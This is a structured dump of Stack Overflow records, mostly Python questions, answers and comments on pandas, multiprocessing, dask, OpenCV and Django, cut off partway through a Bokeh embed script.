score: 0

http://stackoverflow.com/q/46982198
has comment: http://stackoverflow.com/comment/80911882
has body: Guido at one point mentioned the possibility of creating specialized reduce methods for the other associative operators beyond sum; was this ever done? In his blog post discussing the intended removal of reduce (which was eventually cancelled), Guido reaffirms that reduce is generally bad practice except for with associative operators. Then he suggests, instead of using reduce for associative operators, that a module could be created to house methods like sum for all of the associative operators. There aren't a whole lot of associative operators. (Those are operators X for which (a X b) X c equals a X (b X c).) I think it's just about limited to +, *, &amp;, |, ^, and shortcut and/or. We already have sum(); I'd happily trade reduce() for product(), so that takes care of the two most common uses. The bitwise operators are rather specialized and we can put fast versions in a library module if there's demand. I know there aren't any additions like product to the built-ins, but was such a library module added to the Python standard library?
favorite count: 0
tagged with: python-3.x
type: Question
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80911826
has title: Are there any specialized reduce-like methods in the standard library?
has comment: http://stackoverflow.com/comment/80912098
answer count: 0
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/81098036
score: 0
type: Comment
has text: I suppose there's no harm in splitting these properties up amongst multiple classes, as the inherited classes will inherit properties from the base class.
comment on: http://stackoverflow.com/a/47041457
type: AnswerComment

http://stackoverflow.com/comment/80813152
type: AnswerComment
has text: @YvesDaoust, I added an explanation about the biggest disadvantage of Python's memory model
score: 0
comment on: http://stackoverflow.com/a/46932708
type: Comment

http://stackoverflow.com/q/47006151
type: AnsweredQuestion
has body: So there in college practical class was an exercise: "Create program that defines shared value as 0, then creates and starts 500 processes, each of which increases value of shared value by 1, and finally in the end prints shared value. Run this code few times and see what happens, explain...." Final version looks like: from multiprocessing import Process, Value n=Value('i', 0) def fun(): n.value+=1 for i in range(500): p=Process(target=fun).start() print n.value Output value varies in range 420-480 and i understand why. The questions is how to make it always 500 if it possible? I've been reading Python docs and have found possible solution - Semaphore, but maybe I didn't understand it well.. In the case of Semaphore code looks: from multiprocessing import Process, Value, Semaphore n=Value('i', 0) sem=Semaphore() def fun(): sem.acquire() n.value+=1 sem.release() for i in range(500): p=Process(target=fun).start() print n.value In this case the final output varies in range 492-495 - way better. P.S. Do not advise me to use threads from threading class - question is about multiprocessing.
tagged with: semaphore
score: 0
answer count: 1
has title: Multiprocessing synchronization between multiple processes (Python)
tagged with: synchronization
type: Question
tagged with: multiprocessing
accepted answer: http://stackoverflow.com/a/47006396
tagged with: python
has answer: http://stackoverflow.com/a/47006396

http://stackoverflow.com/a/47017593
type: AcceptedAnswer
has body: You could associate the rectangles by storing a reference to the other rectangle as an attribute (e.g. self.associated) and then update the associated rects as well in the handle_event method: self.associated.move(0, event.rel[1]) class Rect1(): def __init__(self, color, width, height, x, y, all_sprites, associated=None): self.associated = associated # Snip ... def handle_event(self, event): # Snip ... elif event.type == pg.MOUSEMOTION: if self.selected1 : self.move(0, event.rel[1]) self.associated.move(0, event.rel[1]) def main(): # Snip ... green_short = Rect1(GREEN, 10, 58, 55, 244, all_sprites) red_short = Rect1(RED, 10, 68, 69, 222, all_sprites, green_short) green_short.associated = red_short green_long = Rect1(GREEN, 10, 111, 188, 226, all_sprites) red_long = Rect1(RED, 10, 121, 211, 202, all_sprites, green_long) green_long.associated = red_long objects = [green_short, green_long, red_short, red_long]
answers question: http://stackoverflow.com/q/47016232
accepted answer of: http://stackoverflow.com/q/47016232
has comment: http://stackoverflow.com/comment/80983399
type: Answer
has comment: http://stackoverflow.com/comment/80984609
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/81011913
score: 0
comment on: http://stackoverflow.com/a/47032501
type: Comment
has text: no no no, I want to have something like this: `"data() { some txt }"` not `" some text" `
type: AnswerComment

http://stackoverflow.com/comment/81003007
score: 0
has text: Does it fail when loaded or when built? The actual name of the missing symbol could help (even if one might make an educated guess...).
comment on: http://stackoverflow.com/q/47027299
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80805238
has text: @MosesKoledoye, something like that ... just throwing away
comment on: http://stackoverflow.com/a/46929096
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/46942983
has body: n is number of rows/columns df.values[[np.arange(n)]*2] = np.nan or np.fill_diagonal(df.values, np.nan) see https://stackoverflow.com/a/24475214/
has comment: http://stackoverflow.com/comment/80833663
has comment: http://stackoverflow.com/comment/80833681
answers question: http://stackoverflow.com/q/46942950
type: Answer
has comment: http://stackoverflow.com/comment/80833434
score: 0
has comment: http://stackoverflow.com/comment/80833590

http://stackoverflow.com/q/46994912
has answer: http://stackoverflow.com/a/46994944
tagged with: python
has answer: http://stackoverflow.com/a/46995145
type: Question
tagged with: for-loop
possible better answer: http://stackoverflow.com/a/46994944
upvote count: 0
downvote count: 2
has title: Print out the items which went through For loop? python 2.7
has body: I am new in python. I have a for loop inside which I have if ...: condition. I want to print out the (list) of items which went through the for loop. Ideally, items should be separated by spaces or by commas. This is a simple example, intended to use with arcpy to print out the processed shapefiles. Dummy example: for x in range(0,5): if x &lt; 3: print "We're on time " + str(x) What I tried without success inside and outside of if and for loop: print "Executed " + str(x) Expected to get back (but not in list format), maybe through something like arcpy.GetMessages() ? Executed 0 1 2
has answer: http://stackoverflow.com/a/46994945
has comment: http://stackoverflow.com/comment/81063937
favorite count: 0
has comment: http://stackoverflow.com/comment/80936247
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80936373
tagged with: arcpy
answer count: 3
has comment: http://stackoverflow.com/comment/81019835
score: -2
accepted answer: http://stackoverflow.com/a/46995145

http://stackoverflow.com/comment/138918382
comment on: http://stackoverflow.com/a/54687159
type: AnswerComment
has text: You saved my day.I ended using `SESSION_ENGINE = "django.contrib.sessions.backends.cached_db"` and it works pretty well
score: 1
type: Comment

timeit
tag name: timeit
tags question: http://stackoverflow.com/q/46967369
type: Tag

http://stackoverflow.com/a/46956662
has body: You could use a variable to check if the user interacts with widgets, something like, def showFirstScreen(buttons_pressed): if buttons_pressed==True: ...code to go to first screen... Use the buttons_pressed variable inside all your buttons' call methods to check if the user has used any button. If you want to add after() to a button on another window, you can use a separate function, button13_onPress(): if buttons_pressed==True: root.after(30000, lambda: showFirstScreen())
score: 0
type: Answer
answers question: http://stackoverflow.com/q/46953267

http://stackoverflow.com/comment/80948693
type: Comment
has text: for example - when do `conda install -c conda-forge ffmpeg ` some Anaconda parameters are replacing. I think it is not good... Really I did 3-d way. Install **ImageMagick**, add path to **magick.exe** to windows PATH, and set the environment: `MAGICK_HOME=F:\Games\ImageMagick-7.0.7-Q16\modules\coders` now all are working without 1) or 2) But - standard animation saving to _*.html_ was crashed (((( That's why I am searching way without any loses.
type: QuestionComment
comment on: http://stackoverflow.com/q/46997209
score: 0

http://stackoverflow.com/comment/80959285
comment on: http://stackoverflow.com/a/47006346
score: 0
type: Comment
type: AnswerComment
has text: yea but that's what i wanted. python float() accepts just simple integers without '.' so i wanted to replicate that. my problem was it was also accepting 123..123

http://stackoverflow.com/comment/80918436
comment on: http://stackoverflow.com/a/46980808
has text: `df.set_index(['x1','x2']).x3.fillna(groupby_df)`, you can use this ...
type: Comment
score: 0
type: AnswerComment

odoo
tags question: http://stackoverflow.com/q/47009407
tags question: http://stackoverflow.com/q/46967585
tags question: http://stackoverflow.com/q/46988393
tags question: http://stackoverflow.com/q/46967675
type: Tag
tags question: http://stackoverflow.com/q/46988612
tags question: http://stackoverflow.com/q/46971023
tags question: http://stackoverflow.com/q/47055196
tags question: http://stackoverflow.com/q/47022228
tags question: http://stackoverflow.com/q/47024145
tags question: http://stackoverflow.com/q/46989213
tags question: http://stackoverflow.com/q/47031017
tag name: odoo
tags question: http://stackoverflow.com/q/46924850
tags question: http://stackoverflow.com/q/47024282
tags question: http://stackoverflow.com/q/46956567

http://stackoverflow.com/comment/80936813
score: 0
has text: So like this? responce = session.get(url) responce = session.post(url, data = payload) #Logging in responce = session.get(protected_url) # visiting protected url
comment on: http://stackoverflow.com/q/46994688
type: Comment
type: QuestionComment

http://stackoverflow.com/a/57455694
has body: convert the numpy arrays to python lists and you'll get a better response than simply using all or any. This way, if the test fails you'll see how the expected vs actual differ
score: 0
answers question: http://stackoverflow.com/q/46914222
type: Answer

http://stackoverflow.com/a/48560017
answers question: http://stackoverflow.com/q/46968209
downvote count: 0
type: Answer
has body: You could make use of SAP's Online Interaction Interface (OII). It is an API which allows client applications (such as CDT) to interact with the BCM (make calls etc). Get your client to connect to the OII and send a IciContainerInterface subscription request by giving it your line-number. The OII will then send events containing information (such as call number) for every phone call pertaining to your line-number to your app. Instructions Download the WSDL from your OII: http://ip-address/OII/IciItemService.asmx?WSDL Use WSDL to generate the OII classes Obtain instance of OII connection: private Optional&lt;IciContainerServiceSoap&gt; getContainerPort() { return containerSubscriber.map(s -&gt; { IciContainerServiceSoap port = s.getIciContainerServiceSoap12(); BindingProvider binding = (BindingProvider) port; binding.getRequestContext().put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, createServerUrl(s.getServiceName().getLocalPart(), serverAddress, serverPort)); return port; }); } public static String createServerUrl(@NotNull String localPart, @NotNull String serverAddress, int port) { StringBuilder sb = new StringBuilder(); sb.append("http://"); sb.append(serverAddress); if (port == 0) port = 80; if (port != 80) { sb.append(":"); sb.append(String.valueOf(port)); } sb.append("/oii/"); sb.append(localPart); sb.append(".asmx"); return sb.toString(); } /* * Address and port on which your client app's webservice will be * listening for events sent by OII. */ public static String createAppURL() throws UnknownHostException { // Example: http://xxx.xxx.xxx.xxx:7007/sapws/services/cct?wsdl return "http://" + getHostName() + ":" + getListenPort() + "/sapws/services?wsdl"; } Send subscription request: getContainerPort().map(p -&gt; p.subscribe(appURL, getAppId(), "1", container)).orElseThrow(IllegalStateException::new); Your app will now receive PhoneCallChanged events in the form of SOAP packets on the port specified in the appID (7007). Note that I am using Java. I'll elabora…
score: 1
upvote count: 1

http://stackoverflow.com/comment/80879514
type: QuestionComment
comment on: http://stackoverflow.com/q/46965957
has text: @Flora Do you know how to use `try`?
score: 0
type: Comment

http://stackoverflow.com/a/46913714
answers question: http://stackoverflow.com/q/46912886
upvote count: 2
has comment: http://stackoverflow.com/comment/80776144
type: Answer
has comment: http://stackoverflow.com/comment/80807401
score: 2
has body: Vectorized solution Here's the final vectorized solution that I arrived at through few optimizations and one crucial trick, assuming s as the input sparse matrix of type csr_matrix. k1 = np.sqrt(1/2) k2s = np.sqrt(test.dot(test)) out = k1*np.sqrt(k2s + s.sum(1).A1 -2*np.sqrt(s*test)) Playing back the history The final vectorized solution was reached after a series of optimizations that I would try to playback for my and others reference and I apologize for being verbose here, but I feel that's needed. Stage #1 Starting off with in-ling the func defintiion in a loop : N = s.shape[0] out = np.zeros(N) for i in range(s.shape[0]): ai = s[i].toarray() out[i] = np.sqrt(1/2) * np.sqrt( np.sum((np.sqrt(test) - np.sqrt(ai))**2) ) Stage #2 Get the constants out and perform squared root outside : k1 = np.sqrt(1/2) k2 - np.sqrt(test) N = s.shape[0] out = np.zeros(N) for i in range(s.shape[0]): ai = s[i].toarray() out[i] = np.sum((k2 - np.sqrt(ai))**2) out = np.sqrt(out) out *= k1 Stage #3 (Crucial trick) Crucial trick here as we would use the math formula : (A-B)**2 = A**2) + B**2 - 2*A*B Thus, sum((A-B)**2) = sum(A**2) + sum(B**2) - 2*sum(A*B) The last part sum(A*B) is simply matrix multiplication and that's major performance booster here. Simplifies to : k1 = np.sqrt(1/2) k2 - np.sqrt(test) N = s.shape[0] out = np.zeros(N) for i in range(s.shape[0]): ai = s[i].toarray() out[i] = (k2**2).sum() + (np.sqrt(ai))**2).sum() -2*np.sqrt(ai).dot(k2) out = np.sqrt(out) out *= k1 Further simplifies to : k1 = np.sqrt(1/2) k2 - np.sqrt(test) N = s.shape[0] out = np.zeros(N) for i in range(s.shape[0]): ai = s[i].toarray() out[i] = (k2**2).sum() + ai.sum() -2*np.sqrt(ai).dot(k2) out = np.sqrt(out) out *= k1 Stage #4 Get the constant (k2**2).sum() out and get the row-wise summation of sparse matrix out too : k1 = np.sqrt(1/2) k2 - np.sqrt(test) k2s = (k2**2).sum() N = s.shape[0] out = np.zeros(N) for i in range(s.shape[0]): ai = s[i].toarray() out[i] = -2*np.sqrt(ai).dot(k2) out += k2s + s.s…
accepted answer of: http://stackoverflow.com/q/46912886
has comment: http://stackoverflow.com/comment/80774951
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/80873923
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46962870
has text: Your answer is definitely too good for me to keep my silly one liner around :-)

http://stackoverflow.com/q/46910715
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/46911145
score: 2
upvote count: 2
has body: Is there a way in pandas dataframe to locate all the row blocks of size n where the highest value is exactly in the middle? What i need is to create an extra column which only has values of the middle biggest value of each such block. Here is the example using for cycle and block size 5: import pandas as pd df = pd.DataFrame([1, 2, 3, 2, 1, 2, 1, 4, 3, 2, 1, 5, 2, 2, 5], columns = ['number']) for i in range(2, len(df) - 2): if (df.loc[i, 'number'] &gt; df.loc[i - 1, 'number'] and\ df.loc[i, 'number'] &gt; df.loc[i - 2, 'number'] and\ df.loc[i, 'number'] &gt; df.loc[i + 1, 'number'] and\ df.loc[i, 'number'] &gt; df.loc[i + 2, 'number']): df.loc[i, 'high'] = df.loc[i, 'number'] Output: number high 0 1 None 1 2 None 2 3 3 3 2 None 4 1 None 5 2 None 6 1 None 7 4 4 8 3 None 9 2 None 10 1 None 11 5 5 12 2 None 13 2 None 14 5 None
downvote count: 0
has answer: http://stackoverflow.com/a/46912062
favorite count: 0
accepted answer: http://stackoverflow.com/a/46911145
tagged with: indexing
type: AnsweredQuestion
tagged with: pandas
possible better answer: http://stackoverflow.com/a/46912062
tagged with: dataframe
tagged with: python
has title: Pandas - finding the row blocks of size n where the highest value is exactly in the middle without using for cycle

http://stackoverflow.com/q/47027074
type: Question
tagged with: opencv
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81005178
score: 4
has title: Merging contour areas in close proximity
upvote count: 4
has body: I'm working on parsing coupon codes from receipts, and unfortunately, the letters are not solid lines. They composed of small individual dots. I managed to do some image manipulation and find the dots, but this is where I'm stuck. Is there a way to connect or merge the dots that are close to each other? Is there a simple solution to this? Here is the original image and also images after finding the dots. Here is the code I came up with. import cv2 import numpy as np def load_local_image(image): c_img = cv2.imread(image, cv2.IMREAD_COLOR) g_img = cv2.imread(image, cv2.IMREAD_GRAYSCALE) return (cv2.resize(c_img, (800, 800)), cv2.resize(g_img, (800, 800))) def find_letters(binary_image, rgb_image, settings): contours, hierarchy = cv2.findContours(binary_image.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) letters = [] for contour in contours: if cv2.contourArea(contour) &gt; settings['contour_area_threshold']: # four points of bounding box for each character x, y, w, h = cv2.boundingRect(contour) # draw the bounding rectangle from points above cv2.rectangle(rgb_image, (x, y), (x + w, y + h), settings['outline_color'], settings['outline_thickness']) # print 'x:{}, y:{}, width:{}, height:{}'.format(x, y, w, h) letters.append((x, y, w, h)) return sorted(letters, key=lambda x: x[0]) def alter_image(img): blur = cv2.GaussianBlur(g, (3, 3), 0) ret, thresh1 = cv2.threshold(blur, 50, 255, cv2.THRESH_BINARY) bitwise = cv2.bitwise_not(thresh1) erosion = cv2.erode(bitwise, np.ones((1, 1) ,np.uint8), iterations=1) dilation = cv2.dilate(erosion, np.ones((3, 3) ,np.uint8), iterations=1) return dilation c, g = load_local_image('img.jpg') altered_img = alter_image(g) contour_settings = { 'contour_area_threshold': 1, 'outline_thickness': 1, 'outline_color': (66, 116, 244) } letters_crop = find_letters(altered_img, c, contour_settings) cv2.imshow('color', c) cv2.imshow('gray', altered_img) cv2.waitKey() cv2.destroyAllWindows()
has comment: http://stackoverflow.com/comment/81133036
answer count: 0
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/80866232
type: QuestionComment
comment on: http://stackoverflow.com/q/46943743
type: Comment
has text: https://www.google.com/search
score: 0

http://stackoverflow.com/q/47026423
downvote count: 0
answer count: 1
upvote count: 1
tagged with: python
tagged with: alignment
tagged with: pandas
tagged with: indentation
score: 1
has answer: http://stackoverflow.com/a/47031112
favorite count: 0
type: Question
has title: python how to nicely align long text in pandas dataframe?
has body: Given a panda's dataframe (received from a database) I'm trying to output the result to the console in such was that it will be complete and readable. The challenge I have is with respect to the long text in 2 columns:LPQ_REASON &amp; LPQ_RESOLUTION. You will note from the output below (print df) that both LPQ columns are ended with 3 dots (...) so I can't read the text. This comes despite my initial settings of: pd.set_option('display.max_rows', 1500) pd.set_option('display.max_columns', 1500) pd.set_option('display.width', 1000) so the result on the console looks like this: ID DIS_CASE_ID CREATION_DATE type_2 LPQ_REASON LPQ_RESOLUTION RESOLUTION_CODE 0 727990 61180481 2017-01-05 13:47:05 7891 The LPQ we know is shorto add is 25% (h... This Memo was issued with conjunction to our j... 3979 1 727889 61180482 2017-01-05 13:51:09 7891 The LPQ he collide will increase 15% (h... This Memo was issued on matching viloation for... 3979 An optimal solution I'm looking for (if doable) is to print the entire line such that: ID DIS_CASE_ID CREATION_DATE type_2 LPQ_REASON LPQ_RESOLUTION RESOLUTION_CODE 0 727990 61180481 2017-01-05 13:47:05 7891 The LPQ we know is shorto add is 25% (here This Memo was issued with conjunction to our 3979 comes the rest of the sentence. it might be analysis to foster a better bs when writing long, or not, it might be short or whatever) 1 727889 61180482 2017-01-05 13:51:09 7891 The LPQ he collide will increase 15% yes and This Memo was issued on matching viloation for 3979 here I'm going to write the entire sentence who cares on what violation. just issued. as if I really remember what was written. ha
type: UnansweredQuestion

http://stackoverflow.com/a/46997981
score: 0
type: AcceptedAnswer
has body: I've found what I needed. I've used web.py to convert the Python script into a Web-Service and now both VB.NET and Python Web-Services can communicate. Python is running all the time, so there is no delay for loading libraries and data each time a calculation have to be done.
accepted answer of: http://stackoverflow.com/q/46935739
type: Answer
answers question: http://stackoverflow.com/q/46935739

http://stackoverflow.com/q/46966198
has body: I am building a function, which contains many loops and conditions in it. The input of the function is an element of a list. I want the function to generate the result so that the nex time I don't need to run through those loop. The real code is really large so I pasted the main lines as follows, which is a toy model of the real code: a=[1,2,3,4,5,6,7] def ff(x): b=0 for i in range(10000): for k in range(10000): if k/2 &gt;20: for j in range(1000): if j**2-j&gt;1: b += a[x]^2+a[x] return b ff(2) So, in fact the result of ff should be simple, but due to the loops and conditions it runs really slow. I don't want to run through the loops each time I call ff. A bit more like the idea that the function is a tensor in tensorflow, and index is the feed value. The structure is built first and then can be executed with different feed in values. Maybe what I want is symbolic computation. Is there a way so that I can store the result as a sturcture and next time I just feed in the value of the index. I cannot simply feed the values of a, since a can be some other shapes.
has comment: http://stackoverflow.com/comment/80880089
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80880021
answer count: 2
tagged with: sympy
has answer: http://stackoverflow.com/a/47032070
possible better answer: http://stackoverflow.com/a/47032070
upvote count: 3
downvote count: 0
accepted answer: http://stackoverflow.com/a/46966241
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80879993
score: 3
has comment: http://stackoverflow.com/comment/80880354
has title: How to set index as variables?
has comment: http://stackoverflow.com/comment/80880327
has comment: http://stackoverflow.com/comment/80880099
has comment: http://stackoverflow.com/comment/80880001
tagged with: python
has comment: http://stackoverflow.com/comment/80919182
has answer: http://stackoverflow.com/a/46966241

http://stackoverflow.com/a/46991842
score: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/80931096
answers question: http://stackoverflow.com/q/46991783
has body: Looking here I suspect that your json keyword should actually be data, i.e., get_data = f.post(URL, data=data, timeout=30, verify=False)
has comment: http://stackoverflow.com/comment/80931058
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/80930339

http://stackoverflow.com/q/47033804
tagged with: python
has title: Change every nth item in a list
has body: For, example if I wanted to make every second uppercase and lowercase like original_list = ['FisH', 'Dog', 'cow', 'piG'] desired_list = ['fish', 'DOG', 'cow', 'PIG'] my way to go about it was to make a separate lists for upper and lower words and then join them some how but I know this is a bad/ way to do it: list1 = [] list2 = [] for i in orginal_list[0::2]: i = i.lower() list1.append(i) for i in orginal_list[1::2]: i = i.upper() list2.append(i)
has answer: http://stackoverflow.com/a/47034123
score: 1
upvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47033867
answer count: 2
downvote count: 0
type: UnansweredQuestion

http://stackoverflow.com/q/46911220
has comment: http://stackoverflow.com/comment/80774900
has comment: http://stackoverflow.com/comment/80770990
score: 17
favorite count: 0
upvote count: 17
tagged with: dask
type: Question
tagged with: pandas
accepted answer: http://stackoverflow.com/a/51843158
has comment: http://stackoverflow.com/comment/80773137
has answer: http://stackoverflow.com/a/51843158
tagged with: python
has comment: http://stackoverflow.com/comment/90627651
possible better answer: http://stackoverflow.com/a/51153494
has title: Simple way to Dask concatenate (horizontal, axis=1, columns)
has answer: http://stackoverflow.com/a/51153494
has comment: http://stackoverflow.com/comment/80772041
has comment: http://stackoverflow.com/comment/90639139
has answer: http://stackoverflow.com/a/74082218
has body: Action Reading two csv (data.csv and label.csv) to a single dataframe. df = dd.read_csv(data_files, delimiter=' ', header=None, names=['x', 'y', 'z', 'intensity', 'r', 'g', 'b']) df_label = dd.read_csv(label_files, delimiter=' ', header=None, names=['label']) Problem Concatenation of columns requires known divisions. However setting an index will sort the data, which I explicitly do not want, because order of both files is their match. df = dd.concat([df, df_label], axis=1) --------------------------------------------------------------------------- ValueError Traceback (most recent call last) &lt;ipython-input-11-e6c2e1bdde55&gt; in &lt;module&gt;() ----&gt; 1 df = dd.concat([df, df_label], axis=1) /uhome/hemmest/.local/lib/python3.5/site-packages/dask/dataframe/multi.py in concat(dfs, axis, join, interleave_partitions) 573 return concat_unindexed_dataframes(dfs) 574 else: --&gt; 575 raise ValueError('Unable to concatenate DataFrame with unknown ' 576 'division specifying axis=1') 577 else: ValueError: Unable to concatenate DataFrame with unknown division specifying axis=1 Tried Adding an 'id' column df['id'] = pd.Series(range(len(df))) However, the length of Dataframe results in a Series larger than memory. Question Apparently Dask knows both Dataframe have the same length: In [15]: df.index.compute() Out[15]: Int64Index([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, ... 1120910, 1120911, 1120912, 1120913, 1120914, 1120915, 1120916, 1120917, 1120918, 1120919], dtype='int64', length=280994776) In [16]: df_label.index.compute() Out[16]: Int64Index([1, 5, 5, 2, 2, 2, 2, 2, 2, 2, ... 3, 3, 3, 3, 3, 3, 3, 3, 3, 3], dtype='int64', length=280994776) How to exploit this knowledge to simply concatenate?
has comment: http://stackoverflow.com/comment/80776531
has answer: http://stackoverflow.com/a/65028470
answer count: 4
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80771197
has comment: http://stackoverflow.com/comment/80772444
downvote count: 0
has comment: http://stackoverflow.com/comment/80772387
has comment: http://stackoverflow.com/comment/80773961

http://stackoverflow.com/q/47008483
has comment: http://stackoverflow.com/comment/133396361
has comment: http://stackoverflow.com/comment/80963588
tagged with: python
score: -1
type: AnsweredQuestion
upvote count: 0
accepted answer: http://stackoverflow.com/a/47008604
answer count: 1
tagged with: permutation
has answer: http://stackoverflow.com/a/47008604
has title: ALL permutations of a list with repetition but not doubles
downvote count: 1
favorite count: 0
type: Question
has body: I have seen similar but not the same: here. I definitely want the permutations, not combinations, of all list elements. Mine is different because itertools permutation of a,b,c returns abc but not aba (soooo close). How can I get results like aba returned as well? ('a',) &lt;-excellent ('b',) &lt;-excellent ('c',) &lt;-excellent ('a', 'b') &lt;-excellent ('a', 'c') &lt;-excellent ('b', 'a') &lt;-excellent ('b', 'c') &lt;-excellent ('c', 'a') &lt;-excellent ('c', 'b') &lt;-excellent ('a', 'b', 'c') &lt;-- I need a,b,a ('a', 'c', 'b') &lt;-- I need a,c,a ('b', 'a', 'c') &lt;-- I need b,a,b... you get the idea Oh max length of permutations ("r" in the python.org itertools) is equal to len(list), and I don't want to include 'doubles' such as aab or abb ...or abba :P The list could be any length. import itertools from itertools import product my_list = ["a","b","c"] #print list(itertools.permutations(my_list, 1)) #print list(itertools.permutations(my_list, 2)) #print list(itertools.permutations(my_list, 3)) &lt;-- this *ALMOST* works I combined the above into a for loop def all_combinations(varsxx): repeat = 1 all_combinations_result = [] for item in varsxx: if repeat &lt;= len(varsxx): all_combinations_result.append(list(itertools.permutations(varsxx, repeat))) repeat += 1 return all_combinations_result For reference, when I did this on paper I got 21 results. Also is there any merit in converting the list of strings into a list of numbers. My thought was that numbers would be easier to work with for the permutations tool. Strings might be 10 to 50 chars..ish.
tagged with: python-itertools
linked to: http://stackoverflow.com/q/44593640

http://stackoverflow.com/q/46922009
has comment: http://stackoverflow.com/comment/80791571
linked to: http://stackoverflow.com/q/42708389
tagged with: bash
score: 1
tagged with: environment-variables
upvote count: 1
has comment: http://stackoverflow.com/comment/80791464
has body: I have several lines in .bash_profile in my macOS needed for the tensorflow. export PATH=/Developer/NVIDIA/CUDA-8.0/bin${PATH:+:${PATH}} export DYLD_LIBRARY_PATH=/Developer/NVIDIA/CUDA-8.0/lib${DYLD_LIBRARY_PATH:+:${DYLD_LIBRARY_PATH}} export CUDA_HOME=~/cudnn export DYLD_LIBRARY_PATH=$CUDA_HOME/lib:$DYLD_LIBRARY_PATH When I run my python program in Terminal, everything is fine, since it loads the .bash_profile first. However, PyCharm don't source .bash_profile. So, we need to provide Environment variables in PyCharm. Can someone please help me to update those lines in PyCharm. I have hard time to make it correct.
tagged with: tensorflow
has title: How to convert these lines in .bash_profile in PyCharm Environment variables
favorite count: 0
type: Question
tagged with: pycharm
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/80791503
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/46921587
has comment: http://stackoverflow.com/comment/80790763
accepted answer of: http://stackoverflow.com/q/46921495
upvote count: 2
answers question: http://stackoverflow.com/q/46921495
type: Answer
has comment: http://stackoverflow.com/comment/80790871
has body: In the following expression (I make the assumption it is a Django template fragment and-or a Jinja2 expression: The variable honeywell appears to be a list. You can try: To get the first element of this list.
score: 2
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/47034429
tagged with: recursion
has answer: http://stackoverflow.com/a/47034544
tagged with: pandas
score: 1
tagged with: dataframe
tagged with: python
has body: I need help creating a Python function to achieve the following: 1) Take 3 Pandas dataframes as input (containing an index column, and an associated integer or float value in the second column). These are defined as follows: import pandas as pd df1=pd.DataFrame([['placementA',2],['placementB',4]],columns= ['placement','value']) df1.set_index('placement',inplace=True) df2=pd.DataFrame([['strategyA',1],['strategyB',5],['strategyC',6]],columns= ['strategy','value']) df2.set_index('strategy',inplace=True) df3=pd.DataFrame([['categoryA',1.5],['categoryB',2.5]],columns= ['category','value']) df3.set_index('category',inplace=True) 2) Using these three dataframes, create a new dataframe ('df4') which organises all possible combinations of the 3 indices across the first 3 columns; 3) In the 4th column, append the mathematical product of all the associated 'values' from the three source dataframes. The DataFrame output of the function should therefore look like: https://ibb.co/cypEY6 Many thanks in advance for your help. Colin
type: AnsweredQuestion
has title: Multiply Python Pandas dataframes together to get product of values in column
answer count: 1
downvote count: 0
upvote count: 1
tagged with: iteration
accepted answer: http://stackoverflow.com/a/47034544
favorite count: 0
type: Question

socrata
type: Tag
tags question: http://stackoverflow.com/q/46945512
tag name: socrata

http://stackoverflow.com/comment/80926903
type: AnswerComment
has text: Oops you're right, I didn't read all of it.
type: Comment
comment on: http://stackoverflow.com/a/46922411
score: 0

heap-memory
tag name: heap-memory
type: Tag
tags question: http://stackoverflow.com/q/47001112

http://stackoverflow.com/comment/81069718
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47060984
has text: Yes, actually it's 16 dummies short. What should I do, simply add columns with those names with all values 0? (This just occured to me, if that's the right answer, apologies for posting)

http://stackoverflow.com/comment/81084041
score: 0
type: AnswerComment
has text: when I send a json without the 'institution' field, it returns to me a serializer error. Shouldnt it extract the data from the url?
type: Comment
comment on: http://stackoverflow.com/a/47061256

http://stackoverflow.com/q/46994903
has answer: http://stackoverflow.com/a/47004033
possible better answer: http://stackoverflow.com/a/47017972
has answer: http://stackoverflow.com/a/47002655
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47005097
score: 0
has title: bokeh django plot embed: large amount of white space in generated div tag
has answer: http://stackoverflow.com/a/47017972
has answer: http://stackoverflow.com/a/47005097
tagged with: bokeh
has body: I have a Bokeh chart embed working well in my Django project but I'm having problems with the embed that it creates. I'm importing both the script and div in my template as and but the div is creating a large white space after itself on my template. Any ideas? Here's an image of how it looks in the browser And here's the div which is really long for some reason Script: &lt;script type="text/javascript"&gt; (function() { var fn = function() { Bokeh.safely(function() { (function(root) { function embed_document(root) { var docs_json = 